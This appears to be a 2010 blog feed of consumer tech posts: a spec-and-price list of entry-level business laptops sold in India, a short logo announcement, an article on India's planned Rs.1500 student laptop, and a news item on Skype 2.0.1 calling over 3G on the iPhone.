When it comes to business laptops, price becomes a secondary factor, in most cases. Frequent flyers don’t want to lug a heavy laptop that gives them sore shoulders while walking across terminals. They need something that’s easy to carry and gets their work done seamlessly. Now, while some of them merely want basic computing, like emails on the go, some need good CPU power for various tasks. There are laptops that offer this sort of performance, while being extremely slim and light in weight, but there’s a premium price for such machines.

Entry-level

Dell Vostro 1014

Weight: 2.1 KG
Screen Size / resolution: 14-inch / 1366 x 768
Processor: Intel Core 2 Duo
RAM: 2 GB DDR2
Hard drive: 320 GB
Graphics: Intel GMA X4500MHD
Price: Rs 31,000

Dell Vostro V13

Weight: 2.1 KG
Screen Size / resolution: 13.3-inch / 1366 x 768
Processor: Intel Celeron 743
RAM: 2 GB DDR3
Hard drive: 320 GB
Graphics: Intel GMA 4500MHD
Price: Rs 33,000

Comments: The V13 with its brush metal shell and slim form factor looks and feels truly stunning. It’s a great machine for people who want basic computing on the go and who want to carry something super-sexy and while paying such as modest price for it. It offers very good value for money in terms of aesthetics and portability.

Toshiba Satalite Pro C650-D5010 / C640-I4530

Weight: 2.6 Kg / 2.3 Kg
Screen Size / resolution: 15.6 / 14 (1366 x 768)
Processor: Intel Core 2 Duo T6570 / Intel Core i3 330M
RAM: 2 GB DDR3
Hard drive: 320 GB
Graphics: Intel GMA 4500MHD
Battery: 3 hours
Price: Rs 30,000 / Rs 40,000

Sony Vaio E-VPCEA22EN

Weight: 2.35
Screen Size / resolution: 14-inch / 1366 x 768
Processor: Intel Core i3 350M
RAM: 2 GB DDR3
Hard drive: 320 GB
Graphics: Intel HD
Price: Rs 38, 990

Sangam Boyz New Logo.

noreply@blogger.com (Unknown) — Sun, 25 Jul 2010 14:47:00 +0000

Sangam Boyz proudly presents our new logo...................

logo designed by Jijo Jose

Rs.1500 Laptop announced for India

noreply@blogger.com (Unknown) — Sat, 24 Jul 2010 03:11:00 +0000

By 2011, the newbies who wish to try their hands on computers would get funding of 50 percent on the purchase of each product. The Government of India has planned to reduce the price of the computer by Rs.4800. This initiative is undertaken as an element of National Mission on Education through Information and Communication Technology. It is an effort to offer the high definition interactive education.

The Centre purports that these laptops would be offered at such a low price because they are a source of spreading literacy via technological methods. This mode of education would help create the awareness among the masses. The laptops are really going to see a huge drop in price.

Under the National Mission on Education through Information and Communication Technology (NMEICT), connectivity is projected to be offered to 504 universities and 25,000 colleges throughout India.

It has the following features:

It has single unit system which has a touch screen.
It has a keyboard which is in-built.
It consists of 2 GB RAM memory.
It comprises of wifi connectivity and USB port.
It is operated by a 2 watt system so that it can even perform in areas where power supply is low.
The laptop uses Linux system.

This project was a result of discussions on this project with a group of experts at the Indian Institute of Science, Bangalore, IIT Kanpur, IIT Kharagpur, IIT Madras and IIT Bombay by the human resource development ministry. The human resource development ministry would send out these laptops. This product is expected to bring bright prospect for learners.

Initially, when the low priced laptop were being planned to introduce, the officials ruled out that its price would be around Rs.500. But, now it would be almost three times the price that was estimated earlier.

The Rs.1500 Laptop has additional features such as:

Video web conferencing facility,
Multimedia content viewer for example pdf, jpeg, zip, etc,
Computing capabilities such as Open Office, SciLab and
Internet browsing with flash plug-in, JavaScript.

Though, it is priced low, there may be some drawbacks such as the gadget may not be larger than normal laptop. The other drawback that the laptop has is that it does not have a hard disc. But, even this can be resolved as the add-on memory can be utilized in the laptop. Though, the computer lacks high capacity of memory but a user can take additional memories.

The project of launching this product is running successfully and it would be available to students, about after five to six months. It is been reported that this low cost laptop would be low in price but the final price of the product would be determined depending upon the transportation cost.

The Rs.1500 Laptop would be seeing a great deal of success and the expectations are already high that this would be popular. The launching this laptop at Rs.1500 is seen as one of the major steps which would be taken to brighten the future of Indian students.

New Skype 2.0.1 Allows iPhone Live Chats in 3G

noreply@blogger.com (Unknown) — Fri, 23 Jul 2010 05:28:00 +0000

After downloading the latest version of Skype from Apple's App Store, iPhone 4 users will have two options for live chats to talk to friends and family without using cell-phone minutes. Skype 2.0.1, recently adapted to use 3G signals instead of Wi-Fi, is now capable of running in the background while other apps are running to answer incoming calls, even when the phone is locked.

Together with Apple's new Wi-Fi FaceTime, that's two voice-over-Internet protocol apps to reduce talk time charged to your bill from AT&T, Apple's sole U.S. wireless carrier.

Next Fad

"Video chat may be the next wireless fad," said J.D. Power and Associates wireless analyst Kirk Parsons. "However, it's very much dependent on having the same device -- iPhone 4 in this case -- or customers affiliated with the same carrier, like Skype. So right now it's a small percentage of the total wireless user base, but can take off fast if interoperability between devices and carriers ever becomes a reality."

Unlike Apple's FaceTime, Skype doesn't yet have access to the iPhone 4's front-facing camera, but will still allow voice calls, and video capability can't be far off.

The iPhone 4 is one of the few smartphones to sport both front and back cameras to enable a caller to see the screen and be captured by the camera at the same time, but the feature has emerged on Android-based devices that try to mimic the iPhone experience, like the HTC EVO and some versions of the Samsung Galaxy.

"Front-facing cameras are just beginning to show up in the smartphone segment but still are very far away from becoming mainstream until that capability trickles down to non-smartphone devices and more folks get on data plans," Parsons said.

3G Fee-Free

Skype also announced that it has abandoned plans to charge a fee for using the service over 3G networks.

"At Skype, we believe that better call quality and better availability (which is achieved with an app capable of multitasking and/or making calls over 3G) lead to increased call frequency and longer calls," the company wrote on its official blog. "We also believe that the mobile world is in a period of significant change; for example, with some operators starting to move to tiered pricing models. In light of that, we no longer have plans to charge a supplement to make calls over 3G."

The new Skype version also allows multitasking so users can operate other apps without disconnecting a call.

Apple last month confirmed that FaceTime users who initiate or receive a standard voice call, then switch to Wi-Fi to use the video-chat app, won't keep accruing minutes for the duration of the call. That's good news for long talkers without unlimited plans who stretch their monthly limits.

There's a catch, though. The next version of FaceTime is likely to work on 3G.